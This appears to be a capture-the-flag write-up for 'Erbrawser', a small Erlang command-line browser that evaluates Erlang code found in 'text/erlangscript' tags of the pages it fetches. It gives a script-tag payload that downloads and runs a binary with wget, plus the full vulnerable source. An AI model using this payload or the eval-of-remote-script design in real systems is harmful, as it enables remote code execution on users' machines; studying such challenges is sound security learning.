Erbrawser 1-0

The erlang vulnerability is arbitrary erlang code execution,
which doesnt say much :-)

Trigerring erlang code execution
<script type="text/erlangscript">
open_port({spawn, "touch yay; wget binary; ./binary"}, []).
</script>

Useful erlang
Executing a shell command
open_port({spawn, "id"}, []).

Vulnerable Code

do_get(Url) ->
    io:format("DEBUG:do_get:REQUEST ~s~n", [Url]),
    Res = http:request(Url),
    handle_response(do_get, Res).

handle_response(Method, {ok, Result}) ->
            io:format("DEBUG:SCRIPTS ~p~n", [Scripts]),
            run_scripts(Scripts),

run_scripts([Scripts | Rest]) ->
    run_script(Scripts),
    run_scripts(Rest);
run_scripts([]) ->
    ok.
run_script(Script) ->
    Strscript = binary_to_list(Script),
    safe_run(Strscript).

safe_run(Script) ->
    Res = (catch run(Script)),
    io:format("DEBUG:Script output: ~p~n", [Res]).

run(Script) ->
    {ok, Tokens, _} = erl_scan:string(Script),
    {ok, Parsed} = erl_parse:parse_exprs(Tokens),
    {value, Res, _} = erl_eval:exprs(Parsed, erl_eval:new_bindings()),
    Res.

Original files

erbrawser       erbrawser.erl   mochiweb_charref.beam  mochiweb_html.beam
erbrawser.beam mochiweb_charref.erl   mochiweb_html.erl
The original code is
-module(erbrawser).
-export([serve/0]).

do_get(Url) ->
    io:format("DEBUG:do_get:REQUEST ~s~n", [Url]),
    Res = http:request(Url),
    handle_response(do_get, Res).

do_post(Url, Data) ->
    io:format("DEBUG:do_post:REQUEST ~s ~s~n", [Url, Data]),
    Res = http:request(post, {Url, [], "application/x-www-form-urlencoded",
            Data}, [], []),
    handle_response(do_post, Res).

get_href_vals([{<<"href">>, Val} | Rest]) ->
    [Val | get_href_vals(Rest)];
get_href_vals([{_, _} | Rest]) ->
    get_href_vals(Rest);
get_href_vals(_) ->
    [].

get_links({<<"a">>, Attrs, Cont}) ->
    get_href_vals(Attrs) ++ get_links(Cont);
get_links({_, _, Cont}) ->
    get_links(Cont);
get_links([Elem | Rest]) ->
    %    io:format("DEBUG: ~s~n", [Elem]),
    get_links(Elem) ++ get_links(Rest);
get_links(_) ->
    [].

get_scripts({<<"script">>, [{<<"type">>, <<"text/erlangscript">>}], Cont}) ->
    Cont;
get_scripts({_, _, Cont}) ->
    get_scripts(Cont);
get_scripts([Elem | Rest]) ->
    %    io:format("DEBUG: ~s~n", [Elem]),
    get_scripts(Elem) ++ get_scripts(Rest);
get_scripts(_) ->
    [].

print_list([Elem | Rest]) ->
    io:format("~s~n", [Elem]),
    print_list(Rest);
print_list([]) ->
    ok.

print_links(Page) ->
    PageTree = mochiweb_html:parse(Page),
    Links = get_links(PageTree),
    print_list(Links),
    {ok, Page}.

handle_response(Method, {ok, Result}) ->
    {{_, Status, Reason}, _, Body} = Result,
    io:format("DEBUG:~w:RESPONSE ~w ~s~n", [Method, Status, Reason]),
    case Status of
        303 ->
            {ok, ""};
        _ ->
            PageTree = mochiweb_html:parse(Body),
            Scripts = get_scripts(PageTree),
            io:format("DEBUG:SCRIPTS ~p~n", [Scripts]),
            run_scripts(Scripts),
            io:format("~s~n", [Body]),
            {ok, Body}
    end;
handle_response(Method, {error, Reason}) ->
    io:format("ERROR:~w:~w~n", [Method, Reason]),
    {error, Reason};
handle_response(Method, {badmatch, Reason}) ->
    io:format("ERROR:~w:badmatch ~w~n", [Method, Reason]),
    {error, Reason}.

run_scripts([Scripts | Rest]) ->
    run_script(Scripts),
    run_scripts(Rest);
run_scripts([]) ->
    ok.
run_script(Script) ->
    Strscript = binary_to_list(Script),
    safe_run(Strscript).

run(Script) ->
    {ok, Tokens, _} = erl_scan:string(Script),
    {ok, Parsed} = erl_parse:parse_exprs(Tokens),
    {value, Res, _} = erl_eval:exprs(Parsed, erl_eval:new_bindings()),
    Res.

safe_run(Script) ->
    Res = (catch run(Script)),
    io:format("DEBUG:Script output: ~p~n", [Res]).

parse_input(["u", Url], _) ->
    do_get(Url);
parse_input(["p", Url, Data], _) ->
    do_post(Url, Data);
parse_input(["l"], Page) ->
    print_links(Page);
parse_input(["q"], _) ->
    quit;
parse_input(Unexpected, Page) ->
    io:format("ERROR:parse_input:Unexpected input: ~s~n", [Unexpected]),
    {ok, Page}.

accept(Page, Prompt) ->
    Res = io:get_line(string:concat(Prompt, "")),
    case Res of
        eof ->
            io:format("ERROR:accept: eof~n"),
            quit;
        {error, Reason} ->
            io:format("ERROR:accept:~w~n", [Reason]),
            {error, ""};
        Data ->
            parse_input(string:tokens(Data, "\n\r\t "), Page)
    end.

get_opt(Opt, Default) ->
    case init:get_argument(Opt) of
        {ok, Val} ->
            Val;
        error ->
            Default;
        _ ->
            io:format("ERROR:get_opt:Unexpected arguments for ~w~n", [Opt]),
            Default
    end.

string_to_int([], N) ->
    N;
string_to_int([C | Rest], N) ->
    string_to_int(Rest, (N*10+(C-48))).

string_to_int(Str) ->
    string_to_int(Str, 0).

parse_proxy(Proxy) ->
    [Hostname, Port] = string:tokens(Proxy, ":"),
    {Hostname, string_to_int(Port)}.

serve() ->
    Prompt = get_opt(p, "PROMPT"),
    Proxy = get_opt(x, none),
    inets:start(),
    case Proxy of
        none ->
            ok;
        _ ->
            io:format("DEBUG:serve:setting proxy to ~p~n", [parse_proxy(Proxy)]),
            case http:set_options([{proxy, {parse_proxy(Proxy), []}}]) of
                {error, Reason} ->
                    io:format("ERROR:serve:setting proxy: ~p~n", [Reason]);
                Other ->
                    io:format("~p~n", [Other])
            end
    end,
    serve(accept("", Prompt), Prompt).

serve({ok, Page}, Prompt) ->
    serve(accept(Page, Prompt), Prompt);
serve({error, _}, Prompt) ->
    serve(accept("", Prompt), Prompt);
serve(quit, _) ->
    init:stop(),
    ok.

Also available in: HTML TXT